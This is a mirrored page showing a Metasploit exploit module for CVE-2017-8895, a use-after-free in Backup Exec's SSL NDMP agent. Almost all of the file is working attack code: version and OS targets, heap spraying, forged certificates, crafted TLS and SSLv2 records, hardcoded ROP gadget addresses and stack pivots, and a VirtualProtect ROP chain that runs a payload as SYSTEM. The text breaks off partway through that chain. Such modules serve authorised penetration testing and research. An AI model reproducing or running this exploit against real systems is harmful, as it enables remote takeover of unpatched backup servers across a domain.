CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/backupexec/ssl_uaf.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
require 'openssl'
8
require 'xdr'
9
10
class MetasploitModule < Msf::Exploit::Remote
11
Rank = NormalRanking
12
13
include Msf::Exploit::Remote::Tcp
14
include Msf::Exploit::Remote::NDMPSocket
15
16
def initialize(info={})
17
super(update_info(info,
18
'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',
19
'Description' => %q{
20
This module exploits a use-after-free vulnerability in the handling of SSL NDMP
21
connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL
22
is re-established on a NDMP connection that previously has had SSL established,
23
the BIO struct for the connection's previous SSL session is reused, even though it
24
has previously been freed.
25
26
This module supports 3 specific versions of the Backup Exec agent in the 14, 15
27
and 16 series on 64-bit and 32-bit versions of Windows and has been tested from
28
Vista to Windows 10. The check command can help narrow down what major and minor
29
revision is installed and the precise of version of Windows, but some other
30
information may be required to make a reliable choice of target.
31
32
NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a
33
reliability of around 85%. On other versions of Windows, reliability is around 35%
34
(due to the need to win a race condition across the network in this case; this may
35
drop further depending on network conditions). The agent is normally installed on
36
all hosts in a domain that need to be backed up, so if one service crashes, try
37
again on another :) Successful exploitation will give remote code execution as the
38
user of the Backup Exec Remote Agent for Windows service, almost always
39
NT AUTHORITY\SYSTEM.
40
},
41
'License' => MSF_LICENSE,
42
'Author' => [ 'Matthew Daley' ],
43
'References' =>
44
[
45
[ 'CVE', '2017-8895' ],
46
[ 'VTS', '17-006' ],
47
[ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]
48
],
49
'Platform' => 'win',
50
'Stance' => Msf::Exploit::Stance::Aggressive,
51
'Payload' =>
52
{
53
'DisableNops' => true
54
},
55
'Targets' =>
56
[
57
[
58
'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',
59
{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
60
],
61
[
62
'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',
63
{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
64
],
65
[
66
'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',
67
{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
68
],
69
[
70
'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',
71
{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
72
],
73
[
74
'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',
75
{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
76
],
77
[
78
'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',
79
{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
80
],
81
[
82
'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',
83
{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
84
],
85
[
86
'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',
87
{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
88
],
89
[
90
'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',
91
{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }
92
],
93
[
94
'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',
95
{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }
96
],
97
[
98
'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',
99
{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }
100
],
101
[
102
'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',
103
{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }
104
]
105
],
106
'DefaultOptions' =>
107
{
108
'RPORT' => 10000,
109
'NumTriggerAttempts' => 50,
110
'EXITFUNC' => 'thread'
111
},
112
'Privileged' => true,
113
'DisclosureDate' => '2017-05-10',
114
'DefaultTarget' => 8))
115
116
register_options([
117
OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]),
118
OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),
119
OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])
120
])
121
end
122
123
def check
124
s = NDMP::Socket.new(connect)
125
return CheckCode::Unknown unless connect_ndmp(s, 2)
126
127
resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))
128
return CheckCode::Unknown unless resp
129
info = HostInfoResponse.from_xdr(resp.body)
130
print_line('Hostname: ' + info.hostname)
131
print_line('OS type: ' + info.os_type)
132
print_line('OS version: ' + info.os_version)
133
print_line('Host ID: ' + info.host_id)
134
135
disconnect
136
s = NDMP::Socket.new(connect)
137
return CheckCode::Unknown unless connect_ndmp(s, 3)
138
139
resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))
140
return CheckCode::Unknown unless resp
141
info = ServiceInfoResponse.from_xdr(resp.body)
142
print_line('Vendor: ' + info.vendor_name)
143
print_line('Product: ' + info.product_name)
144
print_line('Revision: ' + info.revision_number)
145
146
ver = info.revision_number.split('.')
147
if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)
148
CheckCode::Appears
149
else
150
CheckCode::Detected
151
end
152
end
153
154
def exploit
155
print_status('Connecting sockets...')
156
157
# Connect a differing amount of sockets for stage 1 spraying depending on the target
158
spray_socks = connect_additional_sockets(
159
datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),
160
target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3
161
)
162
163
# Likewise, connect a differing amount of sockets for TLS extension spraying depending
164
# on the target
165
num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (
166
case target.opts['Version']
167
when 14
168
0
169
when 15
170
target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100
171
when 16
172
target.opts['Arch'] == ARCH_X64 ? 100 : 0
173
end
174
)
175
tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)
176
177
s = NDMP::Socket.new(connect)
178
unless connect_ndmp(s, 3)
179
fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
180
end
181
182
ca_cert, ca_key = generate_ca_cert_and_key
183
ca_cert_id = get_cert_id(ca_cert)
184
print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")
185
186
print_status('Getting and handling a certificate signing request...')
187
agent_cert = handle_a_csr(s, ca_cert, ca_key)
188
fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?
189
print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")
190
191
if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15
192
# For certain target types, put the stage 1 spray sockets into SSL mode. We can use
193
# the newly made CA certificate and key as our client side certificate
194
ssl_context = OpenSSL::SSL::SSLContext.new
195
ssl_context.cert = ca_cert
196
ssl_context.key = ca_key
197
print_status('Entering spray sockets into SSL mode...')
198
(1..2).each do |phase|
199
spray_socks.each do |ss|
200
require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
201
require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
202
ss.wrap_with_ssl(ssl_context) if phase == 2
203
end
204
end
205
end
206
207
print_status('Testing certificate...')
208
require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)
209
210
# For some targets, split the spraying of TLS extensions around entering SSL on the
211
# main socket
212
tls_cutoff = tls_spray_socks.length
213
if target.opts['Win8Upwards']
214
if target.opts['Arch'] == ARCH_X86
215
tls_cutoff /= 2
216
end
217
else
218
tls_cutoff /= 10
219
end
220
spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)
221
222
print_status('Entering SSL mode on main socket...')
223
require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
224
225
spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)
226
227
# Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other
228
# stages are contained in the SSL socket buffer at the time of the UAF. The record
229
# itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the
230
# record (depending on the amount of trigger attempts required; see attempt_triggers)
231
print_status('Sending stages 2 to 4...')
232
if target.opts['Arch'] == ARCH_X64
233
if target.opts['Version'] == 14
234
# x64, version 14. Use a TLS handshake record
235
#
236
# Windows 8+:
237
# Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8
238
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
239
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
240
# 0 | 16 | 03 | 01 | length | FILLER
241
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
242
# 10 | ret 3
243
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
244
# 20 | ret | FILLER |
245
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
246
# 30 | retsled (0x10 aligned length)... |
247
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
248
# .. | stages 2-4...
249
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
250
#
251
# Otherwise:
252
# Stage 1 jumps to 0x18
253
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
254
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
255
# 0 | 16 | 03 | 01 | length | FILLER
256
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
257
# 10 | ret |
258
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
259
# 20 | stages 2-4...
260
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
261
262
ret = [0xbe6c897].pack('Q<')
263
if target.opts['Win8Upwards']
264
ret_3 = [0xbe2829b].pack('Q<')
265
payload = rand_text(24) + ret_3 + ret + rand_text(3) +
266
ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max
267
else
268
payload = rand_text(19) + ret
269
end
270
payload << generate_stages_2_to_4
271
272
stage_tls = generate_tls_handshake_record(payload)
273
else
274
# x64, version 15/16. Use a SSLv2 hqndshake record
275
# Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8
276
# Otherwise: Stage 1 jumps to 0x18
277
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
278
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
279
# 0 | length | 01 | 03 | FILLER
280
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
281
# 10 | pop x3; ret |
282
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
283
# 20 | FILLER | ret 5 | ret
284
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
285
# 30 | FILLER | retsled (0x8 aligned length)... |
286
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
287
# 40 | stages 2 - 4...
288
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
289
290
pop_x3 = [0xbe1d920].pack('Q<')
291
ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')
292
ret = [0xbe6c897].pack('Q<')
293
payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +
294
ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +
295
generate_stages_2_to_4
296
297
stage_tls = generate_tls_in_sslv2_clienthello(payload)
298
end
299
else
300
if target.opts['Version'] == 14
301
# x86, version 14. Use a TLS handshake record
302
# Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4
303
# Otherwise: Stage 1 jumps to 0x4
304
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
305
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
306
# 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret
307
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
308
# 10 | FILLER | retsled... | stages 2 to 4...
309
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
310
311
pop_x3 = [0x6311f901].pack('L<')
312
ret_3 = [0x6312164a].pack('L<')
313
ret = [0x63101514].pack('L<')
314
payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +
315
ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)
316
317
stage_tls = generate_tls_handshake_record(payload, pop_x3[0])
318
else
319
# x86, version 15/16. Use a SSLv2 hqndshake record
320
# Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4
321
# Otherwise: Stage 1 jumps to 0x4
322
# 0 1 2 3 4 5 6 7 8 9 A B C D E F
323
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
324
# 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret
325
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
326
# 10 | FL | retsled... | stages 2 to 4...
327
# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+
328
329
add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')
330
inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')
331
ret = [0x63101564].pack('L<')
332
payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +
333
ret * [0, datastore['NumTriggerAttempts'] - 3].max +
334
generate_stages_2_to_4
335
336
stage_tls = generate_tls_in_sslv2_clienthello(payload)
337
end
338
end
339
s.raw_sendall(stage_tls, 0)
340
if target.opts['Version'] == 14
341
resp = s.raw_recv(5)
342
fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?
343
s.raw_recv(resp[3...5].unpack('n')[0])
344
end
345
346
print_status('Closing TLS spray sockets...')
347
tls_spray_socks.reverse! unless target.opts['Win8Upwards']
348
tls_spray_socks.each do |ts|
349
ts.close
350
sleep(0.1)
351
end
352
sleep(1)
353
354
# Spray stage 1 in the string payloads of selected NDMP packet types
355
if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64
356
spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])
357
spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR
358
else
359
spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2
360
spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH
361
end
362
spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)
363
364
# We need to be able to detect as soon as a connection is made to the payload in order
365
# to stop spraying/trigger attempts ASAP
366
@payload_connected = false
367
if payload_instance.respond_to?(:handle_connection)
368
old_handle_connect = payload_instance.method(:handle_connection)
369
payload_instance.define_singleton_method(:handle_connection) do |*args|
370
@payload_connected = true
371
old_handle_connect.call(*args)
372
end
373
end
374
375
if target.opts['Win8Upwards']
376
# After this SSL request, the BIO struct is freed but still referred to in the new
377
# SSL context
378
print_status('Re-entering SSL mode on main socket...')
379
require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)
380
381
# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF
382
attempt_triggers(s, spray_socks, spray_msg)
383
else
384
# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race
385
attempt_race(s, spray_socks, spray_msg, ca_cert_id)
386
end
387
388
handler
389
end
390
391
private
392
393
SSL_HANDSHAKE_REQUEST = 0xf383
394
395
class SSLRequest < XDR::Struct
396
class Opcode < XDR::Enum
397
member :test_cert, 1
398
member :get_csr_req, 2
399
member :give_signed_cert, 3
400
member :start_ssl, 4
401
seal
402
end
403
404
attribute :opcode, Opcode
405
attribute :media_server_name, XDR::String[]
406
attribute :media_server_fqdn, XDR::String[]
407
attribute :media_server_addr, XDR::String[]
408
attribute :cert_id_1, XDR::Int
409
attribute :cert_id_2, XDR::Int
410
attribute :unknown1, XDR::Int
411
attribute :unknown2, XDR::Int
412
attribute :unknown3, XDR::Int
413
attribute :ca_cert, XDR::String[]
414
attribute :unknown4, XDR::Int
415
attribute :agent_cert, XDR::String[]
416
417
def self.new_for_opcode(opcode)
418
new(
419
:opcode => opcode,
420
:media_server_name => 'foo',
421
:media_server_fqdn => 'foo',
422
:media_server_addr => 'foo',
423
:cert_id_1 => 0,
424
:cert_id_2 => 0,
425
:unknown1 => 0,
426
:unknown2 => 0,
427
:unknown3 => 0,
428
:ca_cert => '',
429
:unknown4 => 0,
430
:agent_cert => ''
431
)
432
end
433
end
434
435
class SSLResponse < XDR::Struct
436
attribute :unknown1, XDR::Int
437
attribute :unknown2, XDR::String[]
438
attribute :unknown3, XDR::Int
439
attribute :unknown4, XDR::String[]
440
441
def empty?
442
(attributes[:unknown1].zero? && attributes[:unknown2].empty? &&
443
attributes[:unknown3].zero? && attributes[:unknown4].empty?)
444
end
445
end
446
447
class ServiceInfoResponse < XDR::Struct
448
attribute :error, XDR::Int
449
attribute :vendor_name, XDR::String[]
450
attribute :product_name, XDR::String[]
451
attribute :revision_number, XDR::String[]
452
attribute :auth_types, XDR::VarArray[XDR::Int]
453
end
454
455
class HostInfoResponse < XDR::Struct
456
attribute :error, XDR::Int
457
attribute :hostname, XDR::String[]
458
attribute :os_type, XDR::String[]
459
attribute :os_version, XDR::String[]
460
attribute :host_id, XDR::String[]
461
attribute :unknown, XDR::VarArray[XDR::Int]
462
end
463
464
#
465
# Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.
466
#
467
def connect_ndmp(s, version, phase=nil)
468
if phase.nil? || phase == 1
469
return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)
470
end
471
472
if phase.nil? || phase == 2
473
return false unless s.prepare_and_write_ndmp_msg(
474
NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))
475
)
476
end
477
478
if phase.nil? || phase == 3
479
msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)
480
return false unless msg
481
fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?
482
end
483
484
true
485
end
486
487
#
488
# Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.
489
#
490
def connect_additional_sockets(num_socks, version)
491
socks = (0...num_socks).map do
492
NDMP::Socket.new(connect(false))
493
end
494
495
(1..3).each do |phase|
496
socks.each do |ss|
497
unless connect_ndmp(ss, version, phase)
498
fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")
499
end
500
end
501
end
502
503
socks
504
end
505
506
#
507
# Send a Backup Exec-specific SSL NDMP request and receive the response.
508
#
509
def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil)
510
if phase.nil? || phase == 1
511
req = SSLRequest.new_for_opcode(opcode)
512
req.cert_id_1 = req.cert_id_2 = ca_cert_id
513
msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)
514
515
if block_given?
516
last = s.prepare_and_write_ndmp_msg(msg, true)
517
return nil unless last
518
sleep(1)
519
yield true
520
s.raw_sendall(last, 0)
521
yield false
522
else
523
return nil unless s.prepare_and_write_ndmp_msg(msg)
524
end
525
end
526
527
if phase.nil? || phase == 2
528
msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)
529
return msg ? SSLResponse.from_xdr(msg.body) : nil
530
end
531
532
nil
533
end
534
535
#
536
# Send a Backup Exec SSL NDMP request and receive the response, requiring the response
537
# to be empty.
538
#
539
def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)
540
resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)
541
if phase.nil? || phase == 2
542
fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp
543
fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?
544
end
545
end
546
547
#
548
# Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes
549
# of the SHA-1 of the issuer and the raw serial number.
550
#
551
def get_cert_id(cert)
552
Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]
553
end
554
555
#
556
# Create a self-signed CA certificate and matching key.
557
#
558
def generate_ca_cert_and_key(key_len=2048)
559
ca_key = OpenSSL::PKey::RSA.new(key_len)
560
561
ca_cert = OpenSSL::X509::Certificate.new
562
ca_cert.version = 3
563
ca_cert.serial = 1
564
ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')
565
ca_cert.not_before = Time.now - 60 * 60 * 24
566
ca_cert.not_after = Time.now + 60 * 60 * 24 * 365
567
ca_cert.public_key = ca_key.public_key
568
569
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)
570
ca_cert.extensions = [
571
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
572
extn_factory.create_extension('basicConstraints', 'critical,CA:true')
573
]
574
# Have to do this after creating subjectKeyIdentifier extension
575
ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
576
577
ca_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))
578
579
[ca_cert, ca_key]
580
end
581
582
#
583
# Get and handle a certificate signing request from Backup Exec with the given CA
584
# certificate and key.
585
#
586
def handle_a_csr(s, ca_cert, ca_key)
587
resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)
588
return nil if resp.nil?
589
request = OpenSSL::X509::Request.new(resp.unknown2)
590
591
agent_cert = OpenSSL::X509::Certificate.new
592
agent_cert.version = 3
593
agent_cert.serial = 2
594
agent_cert.subject = request.subject
595
agent_cert.issuer = ca_cert.subject
596
agent_cert.not_before = Time.now - 60 * 60 * 24
597
agent_cert.not_after = Time.now + 60 * 60 * 24 * 365
598
agent_cert.public_key = request.public_key
599
600
extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)
601
agent_cert.extensions = [
602
extn_factory.create_extension('subjectKeyIdentifier', 'hash'),
603
extn_factory.create_extension('basicConstraints', 'critical,CA:false')
604
]
605
# Have to do this after creating subjectKeyIdentifier extension
606
agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))
607
608
agent_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))
609
610
req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)
611
req.ca_cert = ca_cert.to_s
612
req.agent_cert = agent_cert.to_s
613
return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))
614
615
agent_cert
616
end
617
618
#
619
# Generate a TLS handshake record with the given payload.
620
#
621
def generate_tls_handshake_record(payload, required_fifth_byte=nil)
622
fail_with(Failure::Unknown, 'No payload') if payload.empty?
623
624
# Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset
625
# 0x4) instead of in non-header data; here it's necessary to control the 5th byte of
626
# the header, which is the second byte of the length word
627
unless required_fifth_byte.nil?
628
payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)
629
end
630
"\x16\x03\x01" + [payload.length].pack('n') + payload
631
end
632
633
#
634
# Generate a TLS ClientHello record with the given Random and extensions (ie. for
635
# holding stages 2-4).
636
#
637
def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)
638
if ec_formats_extn_payload.empty? && curves_extn_payload.empty?
639
fail_with(Failure::Unknown, 'No TLS extension payloads given')
640
end
641
if ec_formats_extn_payload.length > 0xff
642
fail_with(Failure::Unknown, 'Bad EC formats extension length')
643
end
644
if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff
645
fail_with(Failure::Unknown, 'Bad curves extension length')
646
end
647
if random.length != 0x20
648
fail_with(Failure::Unknown, 'Bad random length')
649
end
650
651
extns = ''
652
unless curves_extn_payload.empty?
653
extns << [
654
10,
655
curves_extn_payload.length + 2,
656
curves_extn_payload.length
657
].pack('n*') + curves_extn_payload
658
end
659
unless ec_formats_extn_payload.empty?
660
extns << [
661
11,
662
ec_formats_extn_payload.length + 1,
663
ec_formats_extn_payload.length
664
].pack('nnC') + ec_formats_extn_payload
665
end
666
667
r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"
668
r << [extns.length].pack('n') + extns
669
670
r = "\x01" + [r.length].pack('N')[1...4] + r
671
672
generate_tls_handshake_record(r)
673
end
674
675
#
676
# Generate a TLS ClientHello record in a SSLv2 record with a given payload.
677
#
678
def generate_tls_in_sslv2_clienthello(payload)
679
fail_with(Failure::Unknown, 'No payload') if payload.empty?
680
fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1
681
682
r = "\x01\x03" + payload
683
[r.length | 0x8000].pack('n') + r
684
end
685
686
#
687
# Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.
688
#
689
def spray_tls_extensions(tls_spray_socks, ca_cert_id)
690
payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40
691
spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))
692
693
print_status('Spraying TLS extensions...')
694
(1..2).each do |phase|
695
tls_spray_socks.each do |ts|
696
require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)
697
require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)
698
699
if phase == 2
700
ts.raw_sendall(spray, 0)
701
sleep(0.1)
702
end
703
end
704
end
705
sleep(1)
706
end
707
708
#
709
# Generate stage 1.
710
#
711
# This stage is what overwrites the freed BIO struct. It consists of a non-zero readable
712
# location (to prevent Backup Exec from falling over or failing) and a stack pivot to
713
# some offset from the current SSL socket buffer read location, which will hold a
714
# TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot
715
# offset will be different at each UAF trigger attempt; see attempt_triggers).
716
#
717
def generate_stage_1
718
if target.opts['Arch'] == ARCH_X64
719
stage_1 = [
720
# +0x18 from here is a non-zero, readable location. This is the load address of
721
# becrypto.dll (which is non-ASLR)
722
0xbe00000,
723
# On x64, we pivot into the current SSL socket buffer read location + 0x18
724
# lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret
725
[0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]
726
].pack('Q<*')
727
else
728
stage_1 = [
729
# +0x18 from here is a non-zero, readable location. This is the load address of
730
# becrypto.dll (which is non-ASLR)
731
0x63100000,
732
# On x86, we pivot into the current SSL socket buffer read location + 0x4
733
# mov esp, ebp; pop ebp; ret
734
target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d
735
].pack('L<*')
736
end
737
stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)
738
end
739
740
#
741
# Generate stages 2 to 4.
742
#
743
# Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted
744
# to) onto the stack, bypassing Windows 8+'s check before certain functions (like
745
# VirtualProtect) that we have called them from within expected stack memory instead of
746
# the heap.
747
#
748
# Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable
749
# (but we only really need stage 4 executable anyway).
750
#
751
# Stage 4 is the user-selected Metasploit payload code.
752
#
753
def generate_stages_2_to_4
754
stage_4 = payload.encoded
755
756
if target.opts['Arch'] == ARCH_X64
757
if target.opts['Version'] == 14
758
stage_3 = [
759
0, # skipped by stage 2
760
0xbe31359, # push rax; pop rsi; ret
761
0xbe01f72, # pop rax; ret
762
0,
763
0xbe3d250, # add rax, rcx; ret
764
0xbe1c2f9, # pop r12; ret
765
0xbe2ab32, # pop r8; ret
766
0xbe2987c, # mov rcx, rax; call r12
767
0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]
768
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
769
0,
770
0,
771
0,
772
0,
773
0xbe37f75, # push rax; pop rdi; ret
774
0xbe43b25, # mov rcx, rsi; call r12
775
0xbe01f72, # pop rax; ret
776
0,
777
0xbe3d250, # add rax, rcx; ret
778
0xbe6949a, # push rax; pop r12; ret
779
0xbe4f7ec, # pop r14; pop r13; ret
780
0xbe2ab32, # pop r8; ret
781
0,
782
0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14
783
0xbe01f72, # pop rax; ret
784
0xbe2ab32, # pop r8; ret
785
0xbe36e8e, # mov rcx, rdi; call rax
786
0xbe01a29, # ret
787
0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]
788
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
789
0,
790
0,
791
0,
792
0,
793
0xbe37f75, # push rax; pop rdi; ret
794
0xbe1c2f9, # pop r12; ret
795
0xbe2ab32, # pop r8; ret
796
0xbe43b25, # mov rcx, rsi; call r12
797
0xbe399d0, # pop r13; ret
798
1 << 31,
799
